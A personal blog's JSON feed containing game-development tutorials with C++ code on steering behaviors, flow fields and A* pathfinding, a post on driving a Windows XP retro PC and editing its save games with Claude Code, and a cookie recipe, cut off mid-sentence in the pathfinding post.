{"version":"https:\/\/jsonfeed.org\/version\/1.1","title":"Michael Malura","description":"My personal blog","home_page_url":"https:\/\/malura.de\/","feed_url":"https:\/\/malura.de\/en\/feed.json","language":"en","authors":[{"name":"Michael Malura"}],"items":[{"id":"https:\/\/malura.de\/en\/blog\/steering-behaviors","url":"https:\/\/malura.de\/en\/blog\/steering-behaviors","title":"Steering Behaviors","content_html":"\u003Cp\u003EAn enemy is supposed to run to the player. The first attempt is always the same: work out the direction to the target, scale it to length 1, multiply by a speed, add it to the position. That looks like a train on rails. The enemy turns on the spot, never brakes, and once it has reached its target it twitches back and forth in front of it. In 1999 Craig Reynolds showed at the GDC how characters can move like vehicles instead, with momentum and curves. That is the starting point for this demo.\u003C\/p\u003E\n\u003Cp\u003E[[demo:steering-behaviors]]\u003C\/p\u003E\n\u003Cp\u003EThe green arrow is the agent\u0026#039;s velocity, the dashed dark line is the velocity the behavior wants right now, and the orange arrow is the difference between the two. Chips 1 to 5 switch between seek, flee, arrive, wander and path, the mouse or a click sets the target, R resets. Next to it runs a second, orange agent with the same values, but only 30 steps per second instead of 120.\u003C\/p\u003E\n\u003Ch2\u003EOne rule for everything\u003C\/h2\u003E\n\u003Cp\u003EEvery behavior answers only one question: which velocity do I want right now? Everything else is the same for all of them. The steering is the velocity that is missing:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003EVec2 steer \u0026#61; desired - a.vel;\nif (limitForce) steer \u0026#61; truncate(steer, p.maxForce * dt);\na.vel \u0026#61; truncate(a.vel \u0026#43; steer, p.maxSpeed);\na.pos \u0026#61; wrap(a.pos \u0026#43; a.vel * dt, p);\n\u003C\/pre\u003E\n\u003Cp\u003EA vehicle cannot make up all of it at once, so the amount per step is capped, that is the force limit. The velocity itself has an upper limit too. The curves come out of these four lines: if you drive fast to the right and suddenly want to go left, you need several steps to turn around and drive an arc while you do.\u003C\/p\u003E\n\u003Ch2\u003ESeek circles\u003C\/h2\u003E\n\u003Cp\u003ESeek always wants to go to the target at full speed:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Einline Vec2 seekDesired(Vec2 pos, Vec2 target, double maxSpeed) { return normalize(target - pos) * maxSpeed; }\n\u003C\/pre\u003E\n\u003Cp\u003EYou can see the problem in the demo after a few seconds. The agent reaches the target but still wants to go at it at 200, shoots straight through and has to turn around on the other side first. In the test (20 seconds of simulation, the first four left out) it keeps swinging out about 100 pixels from the target and comes back at nearly full speed. It never comes to rest, because seek only knows the direction and has no idea there is a target to stop at.\u003C\/p\u003E\n\u003Ch2\u003EArrive brakes\u003C\/h2\u003E\n\u003Cp\u003EArrive is seek with a braking radius. Outside it, full speed, inside it the wanted speed falls linearly with the distance and is zero on the target:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst double speed \u0026#61; dist \u0026gt;\u0026#61; slowRadius ? maxSpeed : maxSpeed * (dist \/ slowRadius);\nreturn toTarget * (speed \/ dist);\n\u003C\/pre\u003E\n\u003Cp\u003EBecause the agent wants less and less, less and less is missing, and the steering becomes small by itself. In the test it sits on the target after 14 seconds with a distance of 0.000 pixels and a speed of 0, at 30 as well as at 120 steps per second.\u003C\/p\u003E\n\u003Ch2\u003EFlee and wander\u003C\/h2\u003E\n\u003Cp\u003EFlee is the mirror image of seek, with a panic radius. Outside of it the agent wants zero and brakes, otherwise it would run from something far away forever. If it sits exactly on the target there is no \u0026#34;away\u0026#34;, so it keeps its heading.\u003C\/p\u003E\n\u003Cp\u003EWander needs a target that isn\u0026#039;t there. Reynolds puts a circle just ahead of the agent and lets a point travel around it. The agent walks to that point:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst Vec2 h \u0026#61; normalize(heading);\nconst Vec2 center \u0026#61; pos \u0026#43; h * distance;\nconst Vec2 dir{h.x * std::cos(angle) - h.y * std::sin(angle), h.x * std::sin(angle) \u0026#43; h.y * std::cos(angle)};\nreturn center \u0026#43; dir * radius;\n\u003C\/pre\u003E\n\u003Cp\u003EThe angle is a sum of three sine waves over time (\u003Ccode\u003EwanderNoise\u003C\/code\u003E). If every step rolled a die, an agent at 120 steps per second would wander more jittery than one at 30. With the angle a pure function of time, both walk the same curve. In the test they are 4.7 pixels apart after four seconds.\u003C\/p\u003E\n\u003Ch2\u003EFollowing a path\u003C\/h2\u003E\n\u003Cp\u003EA path here is a closed line of points with a corridor radius, the way Reynolds describes it: a center line and a radius. What gets checked is where the agent will be in 0.45 seconds:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst Vec2 predicted \u0026#61; pos \u0026#43; vel * pp.lookahead;\nconst PathHit hit \u0026#61; closestOnPath(path, predicted);\nif (!hit.valid) return {0.0, 0.0};\nif (hit.distance \u0026lt;\u0026#61; pp.radius \u0026amp;\u0026amp; length(vel) \u0026gt; 1.0) return normalize(vel) * maxSpeed;\nreturn seekDesired(pos, pointAhead(path, hit, pp.lead), maxSpeed);\n\u003C\/pre\u003E\n\u003Cp\u003EIf the prediction is inside the corridor, nothing happens and the agent keeps its direction. If it is outside, the agent aims at a point 45 pixels further along the path. Because the check looks at the future, the agent turns in before the corner instead of chasing after it. At speed 200 and force 200 the corners are still wide, in the test (a 400 by 300 rectangle, corridor radius 26) it strays at most 62 pixels from the line.\u003C\/p\u003E\n\u003Ch2\u003EThe dt\u003C\/h2\u003E\n\u003Cp\u003EThe force limit is a change of velocity per second, so a step of \u003Ccode\u003Edt\u003C\/code\u003E seconds may add \u003Ccode\u003EmaxForce * dt\u003C\/code\u003E. Reynolds\u0026#039; pseudocode has no dt, it says \u003Ccode\u003Evelocity \u0026#61; truncate(velocity \u0026#43; acceleration, max_speed)\u003C\/code\u003E and \u003Ccode\u003Eposition \u0026#61; position \u0026#43; velocity\u003C\/code\u003E. That is one step per frame. On a machine with twice the frame rate the agent drives twice as fast and steers twice as hard. It is the same trap as in \u003Ca href=\u0022\/en\/blog\/delta-time-motion-independent-of-the-frame-rate\u0022\u003EDelta time\u003C\/a\u003E and the \u003Ca href=\u0022\/en\/blog\/fixed-timestep-drawing-with-interpolation\u0022\u003Efixed timestep\u003C\/a\u003E.\u003C\/p\u003E\n\u003Cp\u003ESo the demo runs two agents from the same state, A at 120 steps per second, B at 30. With the \u0026#34;dt scaling\u0026#34; chip on they stay together. Off, the step always goes into the calculation as 1\/60 second, no matter how often it runs:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003EapplySteering(a, desired, p, scaleByDt ? 1.0 \/ hz : 1.0 \/ kReferenceHz, limitForce);\n\u003C\/pre\u003E\n\u003Cp\u003EThen A races off at double speed and B crawls at half. In the test, after two seconds of seek the distance is 3.5 pixels with dt and 285.6 pixels without. At 60 steps per second, the rate the version without dt is tuned for, the result is exactly the same, which is why the mistake never shows on the developer\u0026#039;s machine.\u003C\/p\u003E\n\u003Ch2\u003EWhat can go wrong\u003C\/h2\u003E\n\u003Cp\u003ESwitch the force limit off (chip \u0026#34;force limit\u0026#34;, key F) and you see it at once: the velocity jumps to the wish, the agent turns on a dime. With seek it reaches the target and flickers around it at full speed, in the test it stays within a few pixels and never brakes.\u003C\/p\u003E\n\u003Cp\u003E\u003Ccode\u003Enormalize\u003C\/code\u003E has a guard against the zero vector, otherwise the agent divides by zero on the target and is NaN from then on. The heading (\u003Ccode\u003Eheading\u003C\/code\u003E) is only updated when the velocity is not zero, otherwise a standing agent would have no direction left. The world has no wall: whoever leaves the field comes back in on the other side.\u003C\/p\u003E\n\u003Cp\u003EIf you want to send many agents across a map instead of chasing one target, the \u003Ca href=\u0022\/en\/blog\/flow-fields\u0022\u003Eflow fields\u003C\/a\u003E post has a different approach.\u003C\/p\u003E\n\u003Cp\u003EThe code is in the repo under \u003Ca href=\u0022https:\/\/github.com\/maluramichael\/gamedev-snippets\/tree\/demo-steering-behaviors\/steering-behaviors\u0022\u003Esteering-behaviors\u003C\/a\u003E. The project \u003Ca href=\u0022\/en\/projects\/gamedev-snippets\u0022\u003EGame Dev Snippets\u003C\/a\u003E collects all demos of the series.\u003C\/p\u003E\n\u003Cp\u003EThe idea comes from Craig Reynolds\u0026#039; paper \u003Ca href=\u0022https:\/\/www.red3d.com\/cwr\/steer\/gdc99\/\u0022\u003ESteering Behaviors For Autonomous Characters\u003C\/a\u003E, Daniel Shiffman explains it step by step in \u003Ca href=\u0022https:\/\/thecodingtrain.com\/tracks\/the-nature-of-code-2\/noc\/5-autonomous-agents\/2-seeking-a-target\u0022\u003EThe Nature of Code\u003C\/a\u003E. The code here is my own.\u003C\/p\u003E\n","date_published":"2026-12-01T07:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/flow-fields","url":"https:\/\/malura.de\/en\/blog\/flow-fields","title":"Flow Fields","content_html":"\u003Cp\u003EIn a tower defense game 200 enemies walk towards the same goal. With A* from \u003Ca href=\u0022\/en\/blog\/pathfinding-on-a-grid\u0022\u003EPathfinding on a Grid\u003C\/a\u003E you run one search per enemy, each time from wherever it stands. If the player builds a tower in the middle of the road, all 200 routes are wrong and it starts over. You can also turn the search around: calculate once from the goal, and after that no enemy needs a search of its own.\u003C\/p\u003E\n\u003Cp\u003E[[demo:flow-field]]\u003C\/p\u003E\n\u003Cp\u003EThe grid is 48 by 16 cells with a few walls and a cup right in front of the goal that opens towards the enemies. The orange dot is the goal, the 200 white squares are the agents. The color shows how many steps each cell is from the goal, the arrows point downhill. A click or drag moves the goal, chip 2 paints walls and you erase them by starting on a wall. Chip 6 lets every agent search with A* on its own. The card below the grid counts how many cells the search touched after the last change.\u003C\/p\u003E\n\u003Ch2\u003EOne search from the goal\u003C\/h2\u003E\n\u003Cp\u003EA breadth first search that starts at the goal. The goal gets distance 0, its neighbors 1, their neighbors 2, and so on until all reachable ground is labeled:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Estd::vector\u0026lt;Cell\u0026gt; queue;\nqueue.reserve(f.dist.size());\nqueue.push_back(goal);\nf.dist[g.index(goal.x, goal.y)] \u0026#61; 0;\nfor (std::size_t head \u0026#61; 0; head \u0026lt; queue.size(); \u0026#43;\u0026#43;head) {\n    const Cell c \u0026#61; queue[head];\n    const int d \u0026#61; f.dist[g.index(c.x, c.y)];\n    \u0026#43;\u0026#43;f.expanded;\n    f.maxDist \u0026#61; std::max(f.maxDist, d);\n    for (const Cell n : kNeighbors) {\n        const int nx \u0026#61; c.x \u0026#43; n.x;\n        const int ny \u0026#61; c.y \u0026#43; n.y;\n        if (g.blocked(nx, ny) || f.dist[g.index(nx, ny)] !\u0026#61; kUnreached) continue;\n        f.dist[g.index(nx, ny)] \u0026#61; d \u0026#43; 1;\n        queue.push_back({nx, ny});\n    }\n}\n\u003C\/pre\u003E\n\u003Cp\u003E\u003Ccode\u003Eexpanded\u003C\/code\u003E counts how many cells came out of the queue. On the start map that is 725, the number of reachable cells. The wave that grows from the goal after a click is only a drawing. The search is long finished and the agents use the finished field right away.\u003C\/p\u003E\n\u003Ch2\u003EThe arrows\u003C\/h2\u003E\n\u003Cp\u003ENow every cell holds a number. The enemy should walk where the number gets smaller, so against the gradient. For each axis I take the two neighbors and subtract them:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst auto value \u0026#61; [\u0026amp;](int nx, int ny) {\n    const int d \u0026#61; f.at(nx, ny);\n    return g.blocked(nx, ny) || d \u0026#61;\u0026#61; kUnreached ? c \u0026#43; 1 : d;\n};\nconst double gx \u0026#61; static_cast\u0026lt;double\u0026gt;(value(x - 1, y) - value(x \u0026#43; 1, y));\nconst double gy \u0026#61; static_cast\u0026lt;double\u0026gt;(value(x, y - 1) - value(x, y \u0026#43; 1));\nconst double len \u0026#61; std::hypot(gx, gy);\nif (len \u0026gt; 1e-9) return {gx \/ len, gy \/ len};\n\u003C\/pre\u003E\n\u003Cp\u003EIf the left neighbor is higher than the right one, \u003Ccode\u003Egx\u003C\/code\u003E comes out positive and the arrow points right. With a wall or the border as a neighbor the number is missing. I put in \u003Ccode\u003Ec \u0026#43; 1\u003C\/code\u003E, so a wall counts as a slope going up. There is a reason: neighboring cells differ by 1 at most, so the opposite side is never larger than \u003Ccode\u003Ec \u0026#43; 1\u003C\/code\u003E. On no axis does the arrow point into a wall. Only diagonally it can graze a corner, and \u003Ccode\u003EpushOutOfWalls\u003C\/code\u003E takes care of that by pushing the agent out of the wall.\u003C\/p\u003E\n\u003Cp\u003EThen there are cells where the gradient cancels out. In the test that is a ring around a block of wall with the goal at the top middle. The cell at the bottom middle has distance 5 on both its left and its right, a wall above and the border below. Both routes are equally long, \u003Ccode\u003Egx\u003C\/code\u003E and \u003Ccode\u003Egy\u003C\/code\u003E are 0. With no way out the agent would stand there forever. So in that case I take the first lower neighbor:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Eint best \u0026#61; c;\nVec2 dir{0.0, 0.0};\nfor (const Cell n : kNeighbors) {\n    const int d \u0026#61; value(x \u0026#43; n.x, y \u0026#43; n.y);\n    if (d \u0026lt; best) {\n        best \u0026#61; d;\n        dir \u0026#61; {static_cast\u0026lt;double\u0026gt;(n.x), static_cast\u0026lt;double\u0026gt;(n.y)};\n    }\n}\nreturn dir;\n\u003C\/pre\u003E\n\u003Ch2\u003EThe agent\u003C\/h2\u003E\n\u003Cp\u003EThe agent does nothing anymore, it looks things up. \u003Ccode\u003EbuildDirections\u003C\/code\u003E calculates all arrows once after every search, and in \u003Ccode\u003Emain.cpp\u003C\/code\u003E the whole pathfinding part of an agent looks like this:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst ff::Vec2 d \u0026#61; app.dirs[app.grid.index(c.x, c.y)];  \/\/ the whole \u0026#34;search\u0026#34; of this agent: one lookup\na.pos.x \u0026#43;\u0026#61; d.x * step;\na.pos.y \u0026#43;\u0026#61; d.y * step;\n\u003C\/pre\u003E\n\u003Cp\u003EThe goal counts as reached as soon as the agent is inside the goal cell. My first attempt was a distance of 0.6 cells to the center, but the arrow in the goal cell itself is zero. The agents stopped at the edge of the cell, and the test that sends them to the goal from over a hundred start cells went red.\u003C\/p\u003E\n\u003Ch2\u003EWhat it costs\u003C\/h2\u003E\n\u003Cp\u003EThe card below the grid shows it. The breadth first search costs 725 cells, once, no matter how many agents there are. After that every agent costs one array access per frame. With A* per agent it depends on where the agent stands. I measured it over all 725 cells of the start map with the demo\u0026#039;s goal: 143 touched cells per search on average, the shortest 1, the longest 406. The cup in front of the goal lures A* in because the straight line leads there, and the search has to finish the cup before it goes around. With 200 agents the demo shows 29,508 at the start, a good 40 times the breadth first search. The number depends on where the agents stand right now, in my runs it was between 16,000 and 37,000.\u003C\/p\u003E\n\u003Cp\u003EFor a single agent A* is clearly cheaper with 143 against 725. The flow field pays off from about five agents on this map (725 divided by 143). On open ground without walls the same grid averages only 25 touched cells per A* search against 768 for the breadth first search, and the sum only tips at about 30 agents.\u003C\/p\u003E\n\u003Cp\u003EPainting walls shows the second half. Every change knocks over the route of all agents. The flow field recalculates once, A* in the demo 200 times.\u003C\/p\u003E\n\u003Ch2\u003EPitfalls\u003C\/h2\u003E\n\u003Cp\u003ESearching from the wrong end is the classic. The distance has to run to the goal, not to the agent, or it only holds for one agent. Then rebuild the field after every change of walls or goal, or everybody walks into a wall that is no longer there. And the walls themselves: arrows alone are not enough. An agent is no point in the middle of a cell, it has a radius and sticks into walls at corners, so it needs the collision.\u003C\/p\u003E\n\u003Cp\u003EThe breadth first search only knows equal cost per step. If swamp should cost more than meadow it becomes Dijkstra, and the principle stays the same. The agents in the demo do not dodge each other, which is why they stream through the narrow spots as a dense chain. Red Blob Games explains the whole method in detail, \u003Ca href=\u0022https:\/\/www.redblobgames.com\/pathfinding\/tower-defense\/\u0022\u003EFlow Field Pathfinding for Tower Defense\u003C\/a\u003E and \u003Ca href=\u0022https:\/\/www.redblobgames.com\/blog\/2024-04-27-flow-field-pathfinding\u0022\u003Ethe 2024 article\u003C\/a\u003E.\u003C\/p\u003E\n\u003Cp\u003EThe code is in the repo under \u003Ca href=\u0022https:\/\/github.com\/maluramichael\/gamedev-snippets\/tree\/demo-flow-field\/flow-field\u0022\u003Eflow-field\u003C\/a\u003E. The project \u003Ca href=\u0022\/en\/projects\/gamedev-snippets\u0022\u003EGame Dev Snippets\u003C\/a\u003E collects all demos of the series.\u003C\/p\u003E\n","date_published":"2026-11-28T07:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/my-retro-pc-takes-orders-from-the-terminal","url":"https:\/\/malura.de\/en\/blog\/my-retro-pc-takes-orders-from-the-terminal","title":"My retro PC takes orders from the terminal","content_html":"\u003Cp\u003EI have a Windows XP machine for the games of back then. I want to drive it from my Mac though, and most of the fiddly work is done by Claude Code. That\u0026#039;s why I built \u003Ca href=\u0022\/en\/projects\/xpctl\u0022\u003Expctl\u003C\/a\u003E: a small server on the XP box, a Python script on the Mac, and an agent can start programs, move files, read windows and press buttons. How it works under the hood is on the project page. On November 23 a lot happened with it in a single day.\u003C\/p\u003E\n\u003Cp\u003E[[img:1]]\u003C\/p\u003E\n\u003Ch2\u003ENFS Underground crashes when loading a profile\u003C\/h2\u003E\n\u003Cp\u003EThat afternoon I had just installed HWiNFO and RivaTuner Statistics Server (RTSS) on the XP machine, for an overlay with FPS and temperatures. A few minutes later Need for Speed Underground crashed twice in a row while loading my profile. Claude suspected RTSS right away: the timing fit exactly, and RTSS hooks right into the game.\u003C\/p\u003E\n\u003Cp\u003ESo I let Claude hunt it down, with one rule: exactly one change per attempt. I sat at the XP machine, started the game and reported whether it loaded. First RTSS got closed: crash. Then HWiNFO, plus the kernel drivers of both tools: crash. Then the \u003Ccode\u003Ehosts\u003C\/code\u003E file went back to the original, which had redirected the game to a community server for online play: crash. A fresh test profile, on the other hand, loaded right away. Renamed the online data of my old profile: crash again.\u003C\/p\u003E\n\u003Cp\u003EFor me that meant: start the game, load the profile, type \u0026#34;crashed\u0026#34;. Before every change Claude backed up whatever it touched, and at the end it switched HWiNFO and RTSS back on. The online redirect and the online data I just left out afterwards. Either way, the first suspicion about RTSS was wrong.\u003C\/p\u003E\n\u003Cp\u003EIn the end it was the graphics. The \u003Ccode\u003E.cfg\u003C\/code\u003E of my profile had a higher resolution and almost every effect turned on, the test profile had everything on default. I had saved those settings that morning just before quitting, and they had never been loaded since. That it lined up with RTSS was pure coincidence. Claude copied the default graphics into my profile, kept my old values next to it, and the profile loaded again.\u003C\/p\u003E\n\u003Cp\u003EAfterwards I turned the graphics back up in the game. Compared to the crash, only four values are different now: resolution, environment reflections, motion blur and light streaks. Claude later switched the light streaks back on through xpctl and the profile loads fine with them. Which of the other three was the culprit, I still don\u0026#039;t know.\u003C\/p\u003E\n\u003Ch2\u003EEditing save games, carefully\u003C\/h2\u003E\n\u003Cp\u003EIf Claude can read the \u003Ccode\u003E.cfg\u003C\/code\u003E anyway, it can write it too. That turned into \u003Ccode\u003Expctl saves\u003C\/code\u003E. Every game is a class, and every tested exe version gets a subclass that is recognized by the md5 of the exe. For NFS Underground it\u0026#039;s called \u003Ccode\u003ENfsUnderground_20040115\u003C\/code\u003E, after the date of \u003Ccode\u003ESpeed.exe\u003C\/code\u003E, because I can\u0026#039;t prove which patch that is. If the exe is unknown, it only reads. Before every write xpctl backs up the old files, afterwards it reads each file back and compares it byte by byte. The options and the career in NFSU carry an Adler-32 checksum that xpctl can verify and repair. Whether the game actually accepts a repaired file, I haven\u0026#039;t tried yet.\u003C\/p\u003E\n\u003Cp\u003EDiablo II 1.14d was the second game. Strength from 10 to 11, checksum recalculated, character loaded: 11. Annoyingly, 1.14d doesn\u0026#039;t save where the old registry value points anymore, but in the folder from \u003Ccode\u003ENewSavePath\u003C\/code\u003E. xpctl reads that now too.\u003C\/p\u003E\n\u003Cp\u003ENFSU has one more quirk. It rewrites its profile files itself when you switch profiles and overwrites whatever was changed from outside. So xpctl refuses to write there while the game is running, even with \u003Ccode\u003E--force\u003C\/code\u003E. I tripped over that myself: I thought Claude had already turned the light streaks on, but it had only suggested it in the chat, and the game was still running.\u003C\/p\u003E\n\u003Ch2\u003EWhich games need a patch?\u003C\/h2\u003E\n\u003Cp\u003EThere\u0026#039;s a whole pile of games on the XP machine, and for most of them I had no idea if a patch was missing. So now there\u0026#039;s a version database and \u003Ccode\u003Expctl gamecheck\u003C\/code\u003E, plus a \u0026#34;Spiele\u0026#34; (games) tab in the server window.\u003C\/p\u003E\n\u003Cp\u003E[[img:2]]\u003C\/p\u003E\n\u003Cp\u003EIt only looks for games the database knows: first in GOG\u0026#039;s registry, where a single key lists all GOG games, then via registry entries of individual games like Diablo II or StarCraft, and finally via the desktop shortcuts. Matching goes by exe name and file size first, without reading the file. The md5 confirms it afterwards in the background and ends up in a cache. The old \u003Ccode\u003Egames\u003C\/code\u003E command, which hashes every exe, took 6.8 seconds. \u003Ccode\u003Egamecheck\u003C\/code\u003E takes 2 seconds on the first run and about 0.3 after that.\u003C\/p\u003E\n\u003Cp\u003EThe result: six games have an official patch I didn\u0026#039;t have yet. Battle Realms, GTA III, GTA San Andreas, Neverwinter Nights Diamond (1.68 to 1.69), StarCraft (1.15.2 to 1.16.1) and Starship Troopers.\u003C\/p\u003E\n\u003Ch2\u003EOdds and ends\u003C\/h2\u003E\n\u003Cp\u003EHWiNFO 8.60 officially doesn\u0026#039;t support XP anymore, but the 32-bit version runs anyway. RTSS 7.3.4 from the Afterburner package is still built for Windows 2000 and XP, and in the Overlay Editor it renders via Direct3D 9. I don\u0026#039;t believe the 100 \u00b0C it shows for the Pentium 4, though. The P4 has no core sensor of its own, and according to HWiNFO the three mainboard sensors read 39 to 51 \u00b0C. Which of them is the CPU, the chip doesn\u0026#039;t say.\u003C\/p\u003E\n\u003Cp\u003EThe code is on \u003Ca href=\u0022https:\/\/github.com\/maluramichael\/xpctl\u0022\u003EGitHub\u003C\/a\u003E.\u003C\/p\u003E\n","date_published":"2026-11-28T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/soft-chocolate-chip-cookies","url":"https:\/\/malura.de\/en\/blog\/soft-chocolate-chip-cookies","title":"Soft Chocolate Chip Cookies","content_html":"\u003Cp\u003EThis is our recipe for soft chocolate chip cookies. We make them at 70 g each, which gives 24 cookies, and at that size they\u0026#039;re really good.\u003C\/p\u003E\n\u003Cp\u003EThey get three kinds of sugar: light brown sugar, dark muscovado and fine cane sugar. The brown sugar keeps the center soft, the muscovado gives it a bit of caramel.\u003C\/p\u003E\n\u003Ch2\u003EIngredients for 24 cookies\u003C\/h2\u003E\n\u003Cul\u003E\n\u003Cli\u003E330 g soft butter\u003C\/li\u003E\n\u003Cli\u003E150 g light brown sugar\u003C\/li\u003E\n\u003Cli\u003E150 g dark brown sugar (muscovado)\u003C\/li\u003E\n\u003Cli\u003E150 g fine cane sugar\u003C\/li\u003E\n\u003Cli\u003E20 g vanilla extract (about 1\u00bd tbsp)\u003C\/li\u003E\n\u003Cli\u003E1\u00bd small to medium eggs\u003C\/li\u003E\n\u003Cli\u003E465 g all-purpose flour\u003C\/li\u003E\n\u003Cli\u003E4.5 g baking powder (a generous teaspoon)\u003C\/li\u003E\n\u003Cli\u003E1 pinch of salt\u003C\/li\u003E\n\u003Cli\u003E375 g chocolate chips\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003Cp\u003EThe half egg is a bit annoying. Easiest is to beat a second egg and add half of it to the whole one, or use one egg plus a yolk.\u003C\/p\u003E\n\u003Ch2\u003EHow to make them\u003C\/h2\u003E\n\u003Cp\u003EBeat the butter and the three sugars in a stand mixer with the paddle on medium for about 4 minutes until creamy. Add the vanilla and eggs and mix briefly, just until combined.\u003C\/p\u003E\n\u003Cp\u003ESift the flour, baking powder and salt together and mix them in two batches on the lowest speed, only until no flour is visible. Fold in the chocolate chips for a few seconds on the lowest speed or with a spatula.\u003C\/p\u003E\n\u003Cp\u003EThen the dough goes into the fridge, covered, for 45 minutes. Meanwhile preheat the oven to 180 \u00b0C conventional (160 \u00b0C fan) and line the trays with parchment.\u003C\/p\u003E\n\u003Cp\u003EShape 24 equal balls, about 70 g each, and space them out on the tray, around 8 per tray. Keep the rest of the dough in the fridge until it\u0026#039;s their turn.\u003C\/p\u003E\n\u003Cp\u003EBake one tray at a time for 12 to 13 minutes and rather take them out a bit early. The center can still look slightly raw. Leave them on the tray for a few minutes, then move them to a rack. They sink a little while cooling and stay soft inside.\u003C\/p\u003E\n\u003Ch2\u003EGood to know\u003C\/h2\u003E\n\u003Cp\u003EAt this amount the stand mixer gets crowded. If the bowl holds less than about 5 liters, do it in two batches. With a fan oven you can bake two trays at once, swap them halfway.\u003C\/p\u003E\n\u003Cp\u003ERoll leftover dough into balls and freeze them. They go on the tray frozen and need 1 to 2 minutes longer.\u003C\/p\u003E\n\u003Cp\u003ERough math says one cookie has around 330 kcal and a bit over 25 g sugar, counting the chocolate. In my \u003Ca href=\u0022\/blog\/goennsparschwein\u0022\u003EG\u00f6nnsparschwein\u003C\/a\u003E, one cookie costs a good eighth of the weekly sugar budget.\u003C\/p\u003E\n","date_published":"2026-11-26T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/pathfinding-on-a-grid","url":"https:\/\/malura.de\/en\/blog\/pathfinding-on-a-grid","title":"Pathfinding on a Grid","content_html":"\u003Cp\u003EThe enemy stands on the left, the player on the right, and between them is a wall that opens towards the enemy like a bucket. Walking straight ahead no longer works. Depending on how you search for the path, the enemy runs into the bucket and gets stuck, makes you compute half the map, or takes a detour it never needed.\u003C\/p\u003E\n\u003Cp\u003E[[demo:astar-vergleich]]\u003C\/p\u003E\n\u003Cp\u003EThe map has exactly that bucket and a patch of mud on the straight line. Mud costs 5 per cell, grass 1. It starts with A*. Chips 1 to 4 switch the method and the search then plays out as an animation. You paint walls and mud with the mouse, a right click erases, and S and G can be dragged. Orange cells are known but not yet processed (the frontier), teal cells are done, and the dark line is the path found. Under the map you see how many cells the search touched and what the path costs, compared with the cheapest one.\u003C\/p\u003E\n\u003Ch2\u003EOne loop, four sort orders\u003C\/h2\u003E\n\u003Cp\u003EAll four methods do the same thing. Take the best cell from the frontier, mark it as done, add its neighbors. When the goal comes up, you are finished. The difference is what \u0026#34;best\u0026#34; means. In my code that is a single number:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Ecase Algo::Bfs: key \u0026#61; 0.0; tie \u0026#61; 0.0; break;\ncase Algo::Dijkstra: key \u0026#61; g; break;\ncase Algo::Greedy: key \u0026#61; h; tie \u0026#61; 0.0; break;\ncase Algo::AStar: key \u0026#61; g \u0026#43; options_.weight * h; break;\n\u003C\/pre\u003E\n\u003Cp\u003E\u003Ccode\u003Eg\u003C\/code\u003E is the cost from the start to the cell, \u003Ccode\u003Eh\u003C\/code\u003E is the estimate to the goal. BFS has no number at all: whoever was discovered first comes first, and every step counts the same, mud or no mud. Red Blob Games explains all of this at length with great animations, in the \u003Ca href=\u0022https:\/\/www.redblobgames.com\/pathfinding\/a-star\/introduction.html\u0022\u003Eintroduction to A*\u003C\/a\u003E and in the \u003Ca href=\u0022https:\/\/www.redblobgames.com\/pathfinding\/a-star\/implementation.html\u0022\u003Eimplementation notes\u003C\/a\u003E. The idea comes from there, the code is mine.\u003C\/p\u003E\n\u003Cp\u003EThis is what comes out on the start map with four directions. BFS processes 748 cells and finds a path that costs 79. Dijkstra needs 745 cells, almost the whole map, and gets 51. Greedy gets by with 159 cells and also ends up at 79. A* needs 288 cells and finds the 51. The numbers are live under the map, and of course they move when you add walls and mud.\u003C\/p\u003E\n\u003Ch2\u003EWho is wrong, and why\u003C\/h2\u003E\n\u003Cp\u003EBFS counts steps, and to it mud is a cell like any other. So it walks the shortest way straight through and pays 79 instead of 51. Dijkstra knows the costs and gets it right, but it looks equally far in every direction until it reaches the goal. You can see that nicely: the area grows evenly until it arrives on the right.\u003C\/p\u003E\n\u003Cp\u003EGreedy only looks at the straight-line distance. Inside the bucket every cell is closer to the goal than the way around, so it fills the bucket up to the wall and only comes out at the rim. It is fast, but the path ends up 55 percent more expensive than necessary. Mud it never sees anyway.\u003C\/p\u003E\n\u003Cp\u003EA* fills the bucket too. The estimate knows nothing about walls, and from its point of view the bottom of the bucket is close to the goal. But it leaves large parts of the map alone, because \u003Ccode\u003Eg\u003C\/code\u003E counts as well. Compared with Dijkstra that saves more than half of the cells and changes nothing about the result.\u003C\/p\u003E\n\u003Ch2\u003EThe estimate\u003C\/h2\u003E\n\u003Cp\u003EFor four directions \u003Ccode\u003Eh\u003C\/code\u003E is the Manhattan distance. With diagonals I use the octile distance: as many diagonal steps as possible, the rest straight.\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Ereturn (dx \u0026#43; dy) \u0026#43; (kSqrt2 - 2.0) * std::min(dx, dy);\n\u003C\/pre\u003E\n\u003Cp\u003ENeither ever overestimates, because the cheapest step costs 1 (grass), and the real path can never be shorter than the estimate. That is the condition for A* to find the cheapest path.\u003C\/p\u003E\n\u003Ch2\u003EThe weight\u003C\/h2\u003E\n\u003Cp\u003EThe slider scales \u003Ccode\u003Eh\u003C\/code\u003E. At 0 only \u003Ccode\u003Eg\u003C\/code\u003E is left, which is Dijkstra, 745 cells. At 1 it is plain A*, 288 cells. At 2 it is 201 cells, and on this map the answer is still 51, but that is luck here and no promise. At 5 it is 195 cells and the path costs 79. At 10 it is 161, practically greedy. Above 1 the estimate overestimates and the path can get more expensive. My search processes every cell at most once and does not reopen finished ones. Up to weight 1 that is enough, above it the correction is missing.\u003C\/p\u003E\n\u003Ch2\u003EDiagonals\u003C\/h2\u003E\n\u003Cp\u003EThe key D (or the chip) adds eight directions. A diagonal step costs the square root of 2 times the cell it enters. There is also a rule that is easy to forget: a 